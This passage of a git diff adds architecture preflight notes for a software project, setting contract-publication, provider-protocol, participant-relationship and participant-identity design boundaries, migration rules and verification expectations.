index**. Update each affected +`contracts/schema-publication/entries/.json` with its content hash +and `last_change`; use independent `tombstones/` records for removals. Do not +restore the older monolithic ledger described by some historical notes. + +Choose lineage/discriminators under the existing stability policy and document +producer/consumer direction, semantic as well as structural compatibility, and +source/target migration rules. Optional fields and enum additions can break old +closed readers. Audit receipt/status DTOs, in-process conversions, store codecs, +HTTP response models and downstream CLI/MCP consumers for loss of meaning. +Do not change the shared operation version constant as an isolated edit. +Any legacy adapter must disclose missing guarantees: old applied/absent reports +cannot be promoted to cessation, partial-effect or safe-resume evidence. +Missing historical evidence stays unknown; migrations never replay work, invent +fences, silently discard fields or rewrite terminal history. New protocol +publication need not force a legacy-store rewrite if its carriers remain +separate; document that boundary explicitly. + +API-402 is this delivery's requirement; #1360 supplies its acceptance scope. +Use `RAES_REQUIREMENT_UID=API-402` when the branch lacks a UID. Preserve the +supplied CONSTRAINS/TESTS/DOCUMENTS relationships and use existing +DOCUMENTS/IMPLEMENTS/TESTS conventions for new evidence. Adjacent owners +API-403/404, RUN-304, ASR-532 and #1348's change/retain table remain consistency +obligations, not substitutes for API-402. Distinguish contract publication from +runtime enforcement; do not mark the prerequisite's runtime gaps complete. + +Preflight verification found a governance blocker: the repository-authority +check reports `requirement-policy-missing` because API-402 is not mapped in +`tools/policy/requirement_order.yaml`. Reconcile that mapping with the canonical +requirement authority before delivery; do not guess dependency ordering, use +API-404 to bypass the gate, or report requirement governance as passed. This +guidance does not change requirement policy or traceability records. + +Delivery resolution: API-402's existing ACTIVE live control-plane contract now +maps to the existing `runtime-control-plane` phase beside API-404. A regression +exercises the real policy consumer, and requirement governance passes with +`RAES_REQUIREMENT_UID=API-402`. No dependency phase or prerequisite was removed. + +## Examples and assurance boundary + +Contract examples must demonstrate relationships, not just individually valid +JSON objects. Keep them in the existing fixture/conformance system: + +| Required example | Meaning that must remain visible | +| --- | --- | +| Accepted work | Exact requirement/context binding, acknowledgement before execution, correlated progress and backend evidence; runtime success only after all gates. | +| Contextual refusal | Supported capability but unwilling context; pre-claim denial is audit only, accepted-before-dispatch refusal becomes cancellation with refusal diagnostic. Refusal after possible effects requires effect classification. | +| Cancellation races | Request recorded/accepted differs from cessation. Completion can win; cancellation can retain validated partial effects; late evidence cannot overwrite either terminal result. | +| Duplicate requests | Same scoped identity returns the same work/disposition without another invocation, interrupt or renewed budget. Changed commitments, actors, runs and generations cannot alias the claim. | +| Uncertain completion | Partial effect followed by exception, malformed evidence, absent-at-one-instant without cessation, and lost store acknowledgement retain their distinct uncertainties. Reconciliation supplies evidence without replay. | + +Reuse lifecycle tests (`test_issue_1182_operation_lifecycle_contract.py`), +#1348's bounded supervision model, #1179 recovery, #1184 claims, #1187 durable +carrier/security tests, #1189 profile declarations, `test_backend_profiles.py`, +`test_runtime_contracts.py` and `test_contracts_facade_exports.py`. Include +negative cross-message identity/evidence cases and schema/Python parity; +`test_issue_1348_operation_supervision.py` is an abstract witness, not proof +that an installed backend can stop work. Use existing schema coverage and +fixture validation rather than tests that merely search for model names. +Each new publication needs actual routed corpus/conformance coverage or another +accepted coverage association under `tools/check_schema_coverage.py`; merely +adding a fixture directory does not demonstrate that a runner exercises it. + +Repository conventions remain `.ground-control.yaml`, `.gc/plan-rules.md`, +`noxfile.py` and the existing policy, generated-schema, publication, coverage, +requirement-governance and ADR-pin tools. Run targeted checks for changed +artifacts locally; full/integration/fuzz suites belong to CI. This preflight +changes only guidance and requires no generated artifact or runtime test change. + +Non-goals: implementing execution/supervision, new HTTP endpoints or transports, +a second scenario/workflow engine, generic durable-job/checkpoint services, +implicit retry/resume/rollback, universal cleanup, P3/multiple owners, or physical +containment/certification. Avoid free-form policy/evidence dictionaries, +duplicate lifecycle enums or cleanup schemas, parallel exception/audit systems, +and capability claims inferred from schema availability. Keep implementation +changes for #1360 confined to publishing usable contracts, their necessary +validation/compatibility boundaries and evidence, rather than solving the +prerequisite's entire runtime backlog. diff --git a/docs/decisions/issue-1365-applicable-provider-contracts-preflight.md b/docs/decisions/issue-1365-applicable-provider-contracts-preflight.md new file mode 100644 index 000000000..0421794b7 --- /dev/null +++ b/docs/decisions/issue-1365-applicable-provider-contracts-preflight.md @@ -0,0 +1,110 @@ +# Issue #1365 — Applicable-provider contract preflight + +Date: 2026-09-27. Scope: guidance for API-424 contract publication, not an +implementation plan or a claim of runtime adoption. The issue is the delivery +contract; [ADR-111](adrs/adr-111-control-applicability-and-effect-decisions.md), +[CA-01–CA-09](../../specs/formal/participant-semantics/control-applicability-and-evaluation.md), +and the [migration contract](../migration/control-applicability-and-evaluation.md) +fix its meaning. The [original API-424 preflight](issue-1072-api-424-provider-contracts-preflight.md) +and [#1352 preflight](issue-1352-control-applicability-preflight.md) already +identify the broader boundaries; no new ADR or semantic algebra is needed. + +## Contract decisions and observed gaps + +Package paths below are relative to `implementations/python/packages/`. + +| Existing contract | Required revised boundary | +| --- | --- | +| `raes_contracts/contracts/participant_control_selection.py` and `participant_control_composition.py::ParticipantControlRequestModel` | Retain the complete admitted B, its digest, profile obligations, instance/configuration/authority/provenance and finite bounds. Represent exact-cut coverage separately: applies with complete slot and support mapping, profile-owned proven inapplicable with evidence, or unresolved. Derive A(B,K) as references into B, including required input closure. The current request requires every binding to match K; filtering B or treating profile presence as coverage changes the wrong identity. Valid empty A requires total obligation accounting and all incumbent gates. | +| `raes_backend_protocols/protocols.py::ParticipantControlProvider.resolve`, `raes_contracts/contracts/participant_control_results.py`, and `raes_runtime/participant_control_orchestration.py::_mechanism_results` | A provider/v1 call receives one common request per instance, so it cannot establish A.fact → B.assessment → A.rule. Publish a separately negotiated slot/stage-aware protocol input carrying requested slots, exact invocation identity, detached typed predecessor results or content-bound refs, authorized projection and pinned committed/tentative shared-state inputs. Bind each output to that invocation and its complete input identity. Missing or invalid mandatory inputs block; explicit evaluated false trigger is distinct from absent effect. No ambient result lookup or provider-supplied authority index. | +| `participant_control_results.py::ControlEffectiveSupportModel`, `raes_backend_protocols/participant_control_admission.py`, and `participant_control_composition.py::_support_blockers` | Admit required strength, coverage, constraints and evidence per obligation/input. Resolve against API-407's incumbent feature support and exact installed binding at K. Current all-exact, all-instance blocker is wrong for supported bounded requirements and optional loss. Required-input closure M fixes availability; advisory content does not itself veto. Incomplete/invalid mandatory results block with their reason. Normalize only a rejected optional contribution at its invocation boundary, discard its state/effects and retain safe lost-advice evidence; role comes from B/M, never the response. A malformed apparatus or unresolved required coverage cannot become optional failure. | +| `participant_control_effects.py`, `participant_control_effect_composition.py`, `participant_control_composition.py::admitted_effect_phase` | Publish unscheduled parent permit/deny/withhold separately from executable typed effects. Parent denial/withhold is invariant across legacy-shaped phases. Each effect retains its own target/owner, origin, phase, exact prerequisite event/outcome and allowed parent dispositions; independently admitted audit may follow denial. A required predecessor withholds until its exact owner outcome and fresh reevaluation. A later consequence waits for its declared parent admission/application event, never just an intent or accepted receipt. Check the combined parent/effect graph and target conflicts, not merely the slot DAG or one global phase. | +| `participant_control_coordinates.py::ControlProviderStateModel` and `participant_control_results.py::next_provider_state` | Pin state scope and version separately from participant memory and profile identity. Declare sharing/writers and whether a speculative update commits on evaluation or only on parent release. Multiple writers need an explicit tentative-state chain or conflict. State, complete decision/coverage/results, accepted effect intents/claims and consumed budgets join one expected-head transaction; a failed commit publishes none. Do not expose private state through predecessor inputs. | + +Keep declaration, installed capability, effective support, composition eligibility, +committed intent, owner outcome and observed realization distinct. `ControlDecisionModel`, +the closed `ControlEffectTarget` alternatives, API-409/API-423 crossing and +control carriers, and SEM-233's exact security relation remain their owners; +do not create a universal target, state, decision or operation DTO. The finite +[#1352 cases](../research/control-applicability/cases.md) are semantic witnesses, +not live protocol or store evidence. + +## Whole-repository gates + +| Layer and canonical incumbents | Contract publication guardrail | +| --- | --- | +| Portable ingress and shape: `raes_contracts/json_ingress.py::parse_bounded_json_object`, `contracts/base.py`, `participant_control_coordinates.py`, `parse_participant_control_evaluation` | Bound artifact bytes, JSON depth, graph nodes/edges, stages, predecessor material, result count and provider iteration. Reject duplicate members, non-finite numbers, coercion, unknown variants, duplicate IDs and cycles on JSON and direct Python ingress. Frozen `ContractModel` wrappers are not deeply immutable; detach nested inputs and revalidate returned portable projections. Structural validity never proves trusted coverage. | +| Artifact/configuration and authority: `raes_contracts/contracts/participant_control_profiles.py`, `raes_contracts/participant_flow_policy_profiles.py`, `raes_contracts/corpus.py`, `raes_contracts/participant_configuration.py`, `contracts/experiment_bindings.py`, `participant_control_resolution.py::validate_participant_control_resolved_context` | Resolve exact revision/digest and configuration owner; use trusted non-wire indexes for profile obligations, applicability, predecessor contents, support, disclosure, state scope, receipts and current K. Reuse `_canonical.py`/`control_digest` with defined hashed projections and canonical set-array order. No latest fallback, caller-selected search root or digest-as-permission rule. | +| Auth and effect policy: `raes_runtime/control_plane_api/_auth.py`, `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api_guards.py::RequestSizeLimitMiddleware`, `participant_effect_authority.py`, `participant_control_receipts.py` | This publication adds no route. A consumer still verifies bearer/proxy identity, actor/role/target/audience, incumbent action/crossing/projection/final-sink gates and each effect owner's current policy. An effect acts for its originating principal; a drain caller is separately authorized before reading committed state. Provider references grant no authority. | +| Secrets, environment and host: `raes_contracts/secret_references.py`, `raes/runtime_environment.py::RuntimeEnvironmentVariable`, `runtime_values.py::enforce_observed_value_redaction` | Portable predecessor, state and evidence data contain only disclosure-authorized bounded values/refs, never credentials, raw prompts, private provider memory or rejected payloads. Any downstream env binding keeps name and `value`/`value_from` shape checks, source classification and redaction. The contract adds no launcher; backend-owned host/process/network protection remains separate. Never put sensitive material in argv, shell text, environment, temporary names or stdout/stderr. | +| Errors and observation: `raes_contracts/diagnostics.py`, `raes_runtime/backend_result_diagnostics.py`, `participant_control_diagnostics.py`, `control_plane_api/_responses.py`, `_operation_routes.py`, `control_plane_audit.py`, `raes/observability_plane_semantics.py` | Use value-independent bounded reasons and existing receipt/audit envelopes. Sanitize provider errors, validation paths and references before constructing diagnostics; `portable_diagnostic_payload` validates shape, not redaction. Apply plane classification and participant/audience projection to coverage, dependencies, denial, review existence and timing. No new exception hierarchy, logger or audit channel. | +| Persistence and recovery: `raes_contracts/participant_control_evaluation_history.py`, `raes_runtime/participant_control_causal_state.py`, `participant_control_records.py`, `participant_control_receipts.py`, `control_plane_store_record_migration.py`, memory/local `ControlPlaneStore` implementations | The new wire meaning must remain representable at the existing expected-head store boundary. Historical evaluation validation, folds and effect admission must select the recorded interpretation; a new reducer cannot rewrite old claims, budgets, receipts or pending work. No second state store, snapshot metadata shortcut or implied exactly-once external execution. Runtime/store adoption is a separate delivery gate. | + +`raes_backend_protocols` imports neutral `raes_contracts` DTOs only. Keep the +package boundary in `tools/policy/adr_policy.yaml` and +`tools/policy/repo_policy.py::_check_backend_protocol_contract_annotations`; +do not import runtime, concrete backend or conformance sanitizers into the +public protocol. Shared structural/composition rules belong in +`raes_contracts/contracts/participant_control_*`; independently trusted joins +belong in `participant_control_resolution.py`. Runtime routes, stores and +conformance must consume those decisions rather than replicate them. + +## Publication, evolution and evidence boundary + +The selection/evaluation schemas are draft in +`contracts/schemas/participant-runtime/`; ADR-061 permits a recorded draft edit, +but old and amended meanings still need explicit interpretation and exact +schema-content negotiation. A changed provider invocation cannot silently +remain `participant-control-provider/v1`. Keep its original reader/adapter only +for an independently verified dependency-free fragment; a `resolve` method +check does not establish revised support. Stable breaking changes require a +new contract ID. Historical records with no reliable interpretation pin keep +the legacy interpretation or an explicit unsupported/unverifiable disposition, +never inferred new coverage or executable effects. + +Publish each chosen revision coherently through normative schemas; matching +`raes_contracts/contracts/bundle_runtime.py` and exports; explicit +`tools/generate_contract_schemas.py` routing (otherwise it defaults to +`control-plane`); `contracts/schema-publication/entries/` hashes and +`last_change` under manifest v2; `manifest_authority.py` and API-407 +capability admission; `schema_invariants.py` and `x-raes-invariants` for +non-schema joins; `raes_conformance/conformance/validators.py`; packaged corpus +in `implementations/python/pyproject.toml`; and public/migration docs. Reuse +`tools/check_generated_schemas.py`, `check_schema_publication.py`, authority, +concept and lineage checks. A schema-only pass is not trusted-context validation. + +Keep `docs/explain/reference/modular-participant-control-contracts.md` and +`docs/public/participant-control.md` claim language scoped to the interpretation +their cited code actually implements. The retained v36/v37 formal-semantic and +specification-coverage bundles and the #1352 finite model do not establish +revised provider invocation, runtime adoption or backend realization. Follow +the existing `test_api_424_*` split for structural, trusted-context, +composition, publication and governance evidence, then use the RUN-320 +memory/local-store fixtures for versioned replay and zero-dispatch claims when +those consumers adopt the revision. Keep ownership and traceability aligned +with `tools/policy/requirement_order.yaml` and +`docs/governance/requirement-scopes/1072.json`. + +The essential paired examples are disjoint sinks under one B; an applicable +obligation with no slots versus proven inapplicability; A → B → A with exact +predecessor binding; optional malformed/unsupported advice versus required +input loss; false trigger versus missing result; bounded support against an +admitted requirement; denial/withhold in every phase; independently authorized +audit on denial; a later consequence awaiting actual parent application; +combined phase cycle; conflicting shared-state writers/failed commit; and +old/new history replay. Distinguish schema-invalid from structurally valid but +context-invalid fixtures, and do not promote finite-model evidence into a live +provider, backend or durability claim. + +The extension seam is the admitted obligation relation plus exact-cut +invocation/dependency, state-scope, support-constraint and typed prerequisite +bindings. Another sink or independently installed provider can use those +coordinates without editing the canonical algebra or adding backend-name +branches. New domain/effect meaning still requires governed closed publication. + +Non-goals for #1365: runtime scheduler, provider installation, effect dispatch, +store migration, HTTP endpoint, plugin host, policy interpreter, backend +instrumentation or parity, new credential/config framework, and historical +reinterpretation. `.ground-control.yaml`, `.gc/plan-rules.md`, +`tools/policy/requirement_order.yaml`, `noxfile.py`, `tools/nox_support/` and CI +remain workflow owners. Local verification stays targeted; CI owns full suites. diff --git a/docs/decisions/issue-214-act-612-participant-relationships-preflight.md b/docs/decisions/issue-214-act-612-participant-relationships-preflight.md new file mode 100644 index 000000000..fbcf215cf --- /dev/null +++ b/docs/decisions/issue-214-act-612-participant-relationships-preflight.md @@ -0,0 +1,287 @@ +# Issue #214 — ACT-612 Multi-Participant Relationships Preflight + +Date: 2026-09-16 + +Issue: #214. + +Requirement: ACT-612. + +This note records architecture boundaries and implementation guardrails for +explicit coordination, delegation, cooperation, competition, and supervision +relationships among participants. It is guidance only: it does not add SDL +fields, schemas, compiler resources, runtime contracts, API routes, persistence, +or backend behavior. + +## Issue 1198 Correction Applied During Planning + +The maintainer's #1198/#1201 clarification and accepted ADR-105 govern this +implementation. An abstract relationship is complete with a stable map key, +kind, and two participant endpoints. Action, objective, behavior, authority, +scope, observation, and control references are optional refinements. Validate +every supplied refinement, but do not require an author to supply a backend +mechanism, control policy, validity interval, or evidence merely to describe a +relationship. Declaration never grants operational rights or creates collection, +retention, or export demand. Existing control/evidence contracts remain binding +when explicitly selected or when a realized claim invokes them. + +## Binding Authorities + +- ADR-020 keeps authored participant identity, role, authority anchors, and + operating scope on SDL `agents.*`, separate from credentials, OS identity, + backend identity, and control-plane authorization. +- ADR-022 and `specs/formal/participant-semantics/` own action interactions, + including coordination, contention, interference, shared-state change, + joint-action ordering, attribution, observations, and outcomes. +- ADR-052 establishes the top-level SDL `relationships` map as the canonical + directed graph between named scenario elements and the typed-subtype pattern + for relationship facts that need structural and semantic validation. +- ADR-054 owns runtime lifecycle, behavior history, shared-state records, + joint-action records, ordering, evidence, markings, and disclosure. +- ADR-067 and `specs/formal/participant-behavior-model/README.md` compose + participant framing, behavior specifications, action contracts, authority, + decision modes, implementation provenance, backend support, and runtime + evidence. ACT-612 extends that model; it does not create another participant + stack. +- The ACT-617 mixed-control design owns controller state, proposals, approvals, + denials, intervention, handoff, override, cancellation, policy revision, and + non-widening authority/scope checks. Delegation and supervision must reuse + that machinery when they carry operational control meaning. +- ADR-081's `behavioral-relations` taxonomy classifies formal or empirical + claims such as trace inclusion and noninterference. It is not the vocabulary + for relationships between participants. +- `.ground-control.yaml`, `.gc/plan-rules.md`, and the canonical nox/policy + sessions own verification workflow. ACT-612 does not need an issue-local + validator runner, schema generator, or policy script. + +These authorities settle the architecture sufficiently; another ADR is not +needed unless implementation discovers a conflict with them. + +## Architecture Decisions And Boundaries + +### Reuse one authored relationship graph + +The existing SDL `relationships` map is the authored home for durable +participant-to-participant relationships. Extend its typed relationship pattern +rather than introducing `participant_relationships`, embedding a second graph +inside behavior specifications, or encoding the five relations in free-form +`properties`. + +Both endpoints must resolve unambiguously to declared `agents.*` entries for a +participant relationship. A role, entity, account, credential, backend +service, implementation manifest, control-plane identity, or operating-system +principal cannot substitute for a participant endpoint. The endpoints must be +distinct; a reflexive edge does not establish a multi-participant relation. + +Preserve the existing directed `source`/`target` contract. Direction is +semantic for delegation and supervision. Coordination, cooperation, and +competition must not be assumed reciprocal merely because their ordinary +language can be symmetric: mutuality must be explicit in the typed relation +contract or through an explicit reciprocal declaration, never inferred from a +single directed edge. + +### Keep the five meanings distinct + +One canonical relation-kind authority may expose the five required terms, but +each term has different meaning and optional grounding: + +| Kind | Portable meaning | Existing semantic grounding | Must not imply | +| --- | --- | --- | --- | +| `coordination` | Participants intentionally synchronize actions or state. | `ParticipantInteractionClass.COORDINATION`, related action contracts, joint-action/order records. | Cooperation, shared goals, successful execution, or scheduler simultaneity. | +| `cooperation` | Participants pursue an explicitly aligned objective or outcome under declared scope. | Behavior-specification, action-contract, objective, and outcome-interpretation refs. | Synchronized execution, unrestricted data sharing, delegation, or trust. | +| `competition` | Participants pursue explicitly opposed objectives/outcomes or compete under a declared scope. | Objective/outcome refs; contention or interference only when the corresponding action/shared-resource facts exist. | Hostility, authorization to attack, resource contention, or zero-sum scoring. | +| `delegation` | A source assigns responsibility for work to a target; operational authority remains separately governed. | Optional authority/scope refs and, for operational controller transfer, ACT-617 proposal/approval/handoff state and occurrences. | Backend realization delegation, credential transfer, role inheritance, execution, or success. | +| `supervision` | A source declares oversight of a target; observation and control rights remain separately governed. | Optional behavior specification, observation boundary, authority/scope, and ACT-617 controller/approval/intervention/override semantics. | `human-supervised` mode, omniscient observation, administrator privilege, or automatic authority widening. | + +Do not add cooperation or competition as aliases for the existing action-level +coordination/contention classes. Conversely, a relation-level coordination +edge does not make every action between the participants coordinated. When a +relationship and an action interaction describe the same fact, an agreement +guard must prevent contradictory endpoints, action refs, scope, or kind. + +`human-supervised` remains a decision-surface mode of the supervised +participant; it is not a participant relationship and does not identify a +supervisor. `mixed-control` remains combined control over one participant's +decision surface; it is not general multi-participant cooperation. Realization +`delegation` in SEM-218 remains permission for a backend to fill an +underspecified apparatus choice; it is not responsibility or authority +delegation between participants. + +### Relationships declare intent; existing records prove occurrences + +The authored relationship carries stable identity and may select typed +references to existing behavior, action, objective, authority/scope, observation, +and control contracts. Validity and evidence remain within a selected owning +contract. Sparse relationships require no such refinements. The relationship +must not inline copies of those contracts or store executable policy in +arbitrary metadata. + +An authored edge is not proof that participants coordinated, cooperated, +competed, delegated, or supervised during a run. Runtime claims remain grounded +in the existing carriers: + +- participant behavior history and lifecycle events for attempts and results; +- participant joint-action records for membership, realized ordering, + conflicts, isolation, and concurrency disclosure; +- shared-state records for versioned reads/writes and conflict policy; +- participant control occurrences/history for proposal, approval, handoff, + intervention, override, denial, and cancellation facts; +- observations, outcome reports, attribution, evidence refs, provenance, + markings, and redaction policy for what was visible and what supports the + claim. + +Backend capability terms such as `coordination`, `contention`, +`interference`, and `shared_state_change` remain support declarations. They do +not prove that a relationship was authored or realized. + +### Preserve existing parser, semantic, composition, and compiler ownership + +Participant relationship shape belongs under the existing closed +`Relationship` model and its generated SDL schemas. In-class validation owns +single-record invariants. Scenario-level checks belong in `SemanticValidator`, +alongside the current endpoint and typed-subtype checks, because endpoint type, +reference resolution, authority non-widening, action/objective agreement, and +cross-record consistency require the whole scenario. + +Module composition must rewrite every participant and semantic reference using +the existing symbol maps. Stable relationship keys remain symbol-defining map +keys and cannot be created with `${...}` variables. Instantiation must rerun +semantic validation after substitution and reject unresolved, ambiguous, +reflexive, contradictory, or authority-widening relationships. + +The compiler already preserves authored relationships in +`RuntimeModel.relationship_specs`. That metadata may retain a validated +declaration, but raw dictionaries must not become executable authority. Any +downstream operational use must compile stable typed addresses and resolved +dependencies through the existing compiler/address machinery, or reference the +existing action, behavior-specification, mixed-control, objective, and evidence +records. Do not create a second runtime relationship graph or infer operations +from `properties`. + +## Canonical Incumbents To Reuse + +| Concern | Canonical incumbent | Required use | +| --- | --- | --- | +| Authored graph | `raes.relationships.Relationship`, `RelationshipType`, `ScenarioContent.relationships` | Extend the one scenario relationship graph and typed-subtype pattern. | +| Participant identity | `ScenarioContent.agents`, ADR-020 `Agent`, `DeclarationIndex` | Require exact participant endpoints; do not accept roles, entities, or runtime identities as aliases. | +| Behavior aggregate | `ParticipantBehaviorSpecification` and stable participant behavior addresses | Bind relation scope to existing behavior refs rather than duplicating behavior fields. | +| Action interaction | `ParticipantInteractionDeclaration`, `ParticipantInteractionClass`, action preconditions/effects/failures | Ground coordination and actual contention/interference at action level. | +| Cooperation/competition meaning | objectives, outcome-interpretation rules, action contracts, behavior specifications | Express aligned/opposed intent with refs; do not infer it from roles or score values. | +| Delegation/supervision control | ACT-617 `mixed_control`, controller states/transitions, participant control occurrences/history | Reuse bounded authority, revision, validity, ordering, handoff, and conflict rules. | +| Authority and visibility | agent `authority_anchors`/`operating_scope`, behavior `authority_scope_refs`, observation boundaries | Enforce non-widening and keep authority separate from visibility and credentials. | +| Safe input and shape | safe YAML loading, parser normalization, `SDLModel(extra="forbid")`, portable identifier and variable-key rules | Keep one closed parser/shape path. | +| Semantic validation | `SemanticValidator`, `_validate_named_ref()`, `DeclarationIndex`, participant-behavior issue rendering | Resolve refs once and collect failures through the existing validation pass. | +| Composition | `raes.composition` relationship and behavior rewrite tables | Rewrite all external refs under namespaces; never parse rendered strings ad hoc. | +| Compiler | compiler address helpers, alias/dependency indexes, `RuntimeModel.relationship_specs`, typed participant behavior resources | Preserve declarations deterministically; require typed projection before operational use. | +| Runtime evidence | behavior history, joint-action, shared-state, control-occurrence, observation, attribution, and outcome contracts | Prove occurrences without inventing an ACT-612 event family. | +| Persistence | `RuntimeSnapshot`, `ControlPlaneStore`, snapshot revisions/CAS, append-only participant histories | Reuse only if live occurrences are later required; add no participant-relationship database. | +| Errors and diagnostics | `SDLParseError`, `SDLValidationError`, `SDLInstantiationError`, `Diagnostic`, `Severity`, conformance diagnostics | Add no ACT-612 exception hierarchy or renderer stack. | +| HTTP security, if exposed | `ControlPlaneSecurityConfig`, read/mutating identity dependencies, participant subject/audience bindings, request-size middleware, idempotency fingerprints, audit records, redacted handlers | Keep caller authorization separate from authored participant authority. | +| Schema authority | `ContractModel`, `schema_bundle()`, `contracts/schemas/sdl/`, schema-publication manifest entries, positive/negative fixtures | Change model source and governed schemas/ledger/fixtures together; do not hand-edit one side only. | +| Workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, repo policy and schema checks | Use canonical verification; add no issue-local workflow. | + +## Cross-Cutting Layers And Security Posture + +The intended authored design passes these layers: + +1. **Safe decoding and closed shape.** YAML passes the existing safe loader, + duplicate/canonical-key checks, normalized field rules, source limits, and + closed Pydantic models. Relation IDs cannot be variable-generated mapping + keys, and unknown fields fail before semantic validation. +2. **Whole-scenario semantic policy.** `SemanticValidator` requires two + distinct agent endpoints, resolves every grounding ref through the canonical + declaration indexes, enforces direction and selected refinements, + rejects ambiguous refs, and prevents delegated/supervisory + authority or scope from widening its declared sources. +3. **Composition and instantiation.** Existing namespace rewrite tables must + cover endpoints and every added ref. Post-substitution validation must + preserve the same endpoint, scope, and policy meaning; unresolved variables + cannot reach compilation. +4. **Compiler and published shape.** Compiler output preserves stable identity, + resolved dependencies, deterministic order, and authored provenance. SDL + schema changes stay in parity with `schema_bundle()`, publication ledger + entries, fixtures, reference catalogs, and installed package corpus. +5. **Runtime/conformance, only for realization claims.** Existing history, + joint-action, shared-state, control, observation, outcome, and evidence + validators check actual claims. Schema validity or an authored edge alone is + never runtime proof. +6. **Errors and observability.** Parser/semantic failures remain on SDL errors; + runtime/conformance failures remain structured diagnostics. Messages may + identify bounded refs and rule names but must not echo credentials, policy + bodies, hidden prompts, evidence contents, raw backend payloads, or scenario + dumps. + +ACT-612 authoring introduces no environment binding, secret loader, CLI flag, +subprocess, socket, file-permission rule, or process-argument surface. No token, +credential, prompt, private policy body, hidden answer key, raw command, or +backend object belongs in a relationship, fixture, diagnostic, log, snapshot, +or argv. Use stable refs, digests, provenance, markings, disclosure refs, and +redaction-policy refs. + +No HTTP route or live persistence is required by this issue's authored +relationship boundary. If a later change exposes or mutates realized relation +state, it must pass strict control-plane authentication, target binding, +participant subject/audience authorization, request-size limits, canonical +fingerprinting/idempotency, snapshot revision/CAS, append-only history, audit, +and the redacted 4xx/500 envelopes. An authenticated operator is not thereby a +delegator or supervisor, and an authored supervisor is not thereby an API +principal. + +## Extensibility Seam + +Use one typed participant-relationship detail beneath the existing +`Relationship` edge, parameterized by relation kind, explicit direction or +reciprocity, stable grounding refs, authority/scope/validity where applicable, +and evidence/disclosure refs. Kind-specific semantic rules should dispatch from +that common seam. The next reasonable variations—coalition membership, +negotiation, mediation, or non-human supervision—must be addable as governed +relation kinds and validator rules without adding another top-level graph, +copying endpoint fields, or redesigning runtime evidence carriers. + +Core terms must remain governed. Backend- or domain-specific extensions may use +the repository's existing `x-:` concept-authority discipline only +when bound to an approved scope; arbitrary strings in `properties` are not the +extension seam. + +## Gotchas And Anti-Patterns + +- Do not create a parallel `participants`, `participant_relationships`, + relation registry, reference resolver, exception tree, persistence store, + schema generator, audit log, or workflow script. +- Do not use generic `Relationship.properties` for participant authority, + scope, policy, behavior, objective, action, evidence, or validity facts. +- Do not conflate participant relations with ADR-081 behavioral claims, generic + infrastructure relationships, workflow dependencies, backend capability + terms, or SEM-218 apparatus delegation. +- Do not equate coordination with cooperation, competition with contention or + hostility, delegation with handoff or execution, or supervision with + `human-supervised`/`mixed-control` mode. +- Do not infer reciprocity, controller identity, authority, visibility, trust, + scope, validity, execution, success, or evidence from roles, endpoint order, + credentials, timestamps, scheduler order, or collection order. +- Do not duplicate action interactions, objective/outcome rules, mixed-control + states/transitions, observation boundaries, or runtime occurrence fields + inside a relationship. Reference them and enforce agreement. +- Do not treat `RuntimeModel.relationship_specs` raw dictionaries as an + executable policy or backend request. +- Do not claim realized cooperation, competition, delegation, supervision, or + coordination from schema acceptance, a backend support declaration, or a + single terminal snapshot. +- Do not weaken hidden-truth, evidence-only, marking, disclosure, or redaction + boundaries to make a relationship easier to inspect. + +## Non-Goals + +- Implementing ACT-612 models, parser behavior, validators, compiler output, + schemas, fixtures, APIs, stores, runtime mediation, or backend realization in + this preflight. +- Redesigning generic infrastructure relationships, participant identity, + action interaction classes, objectives/outcomes, mixed-control operation, + behavior modes, authority/scope, observations, or runtime evidence. +- Defining team membership, organizational charts, coalitions, negotiation + protocols, reward games, trust inference, social reputation, or arbitrary + graph analytics. +- Granting credentials, API roles, backend permissions, or operating-system + privileges from an authored participant relationship. +- Claiming runtime enforcement, successful cooperation, fair competition, + completed delegation, effective supervision, causal attribution, or formal + behavioral equivalence from declarative coverage alone. diff --git a/docs/decisions/issue-215-act-613-participant-identity-preflight.md b/docs/decisions/issue-215-act-613-participant-identity-preflight.md new file mode 100644 index 000000000..db1fb9781 --- /dev/null +++ b/docs/decisions/issue-215-act-613-participant-identity-preflight.md @@ -0,0 +1,173 @@ +# Issue #215 participant identity and actor/target audit preflight + +Date: 2026-09-21. Requirement: none; the supplied issue is the contract. +ACT-613 is the issue's tracking label, not a requirement assignment for this run. + +This is architecture guidance, not the audit, a remediation plan, or a new +language decision. Issue #215 delivers evidence and an actionable backlog; +semantic and implementation changes belong to its follow-up issues. + +## Boundaries the audit must preserve + +A participant is an author-designated autonomous subject. The author chooses +the autonomy and identity boundary; the language must not test whether a human, +model, process, tool, or service is sufficiently autonomous. A harness, twenty +tools, one model, and four deterministic actions can be one participant. +Composition does not designate its components as additional participants. +Only designated participants use participant semantics. Participants must also +be expressible as targets; being a target does not confer participation. + +Keep participant identity distinct from affiliation, ownership, assignment, +role, credentials, resource identity, selected implementation, runtime episode, +and authenticated caller. Two participants may share an entity or implementation +without becoming one participant. Changing an implementation does not by itself +change authored identity. A service modeled as a participant needs that authored +designation; its transport endpoint or execution service cannot supply it. + +Reuse the boundaries in ADR-020/022/041/067/092 and the formal participant +behavior, semantics, runtime, and backend contracts. Their existing definitions +are audit inputs, not proof that every definition satisfies #215. In particular, +ADR-020's “identity or alignment” and ADR-092's role/evaluation restrictions must +not silently become the definition of participation. + +The [language-extensibility design intent](../research/language-extensibility/design-intent.md), +its [consistency review](../research/language-extensibility/consistency-review.md), +and [ADR-105](adrs/adr-105-recursive-partial-description-semantics.md) require +completeness at the chosen abstraction. Do not make internal composition, +deployment topology, implementation selection, or evidence collection mandatory +just to express identity or an actor/target relationship. Realization support, +operational inputs, observation demand, retention, and export remain separate. + +## Repository checkpoints, not final audit findings + +Paths below are relative to `implementations/python/packages/` unless stated +otherwise. Use the current repository revision when gathering final evidence. + +| Audit question | Incumbent evidence and required distinction | +| --- | --- | +| Identity and affiliation | `raes/agents.py` enforces nonempty `Agent.entity` with a model validator even though the field defaults to an empty string. `raes/entities.py` describes organizations, teams, and people. `raes/validator/_content_objectives.py` resolves the entity and derives role from it. Audit model, published schema, prose, role selection, and downstream consumers; do not infer identity equivalence or cardinality from this binding. | +| Objective actor or owner | `raes/objectives.py` calls `agent`/`entity` actor bindings and requires exactly one. `raes/semantics/objective_semantics/`, compiler objective projection, and `_participant_relationships.py` consume that choice. Establish whether each use means acting, ownership, or assignment; do not promote an entity to participant or infer an acting participant from affiliation. | +| Service meanings | `raes/nodes.py::ServicePort` is a node-local transport binding, with no traffic authorization or 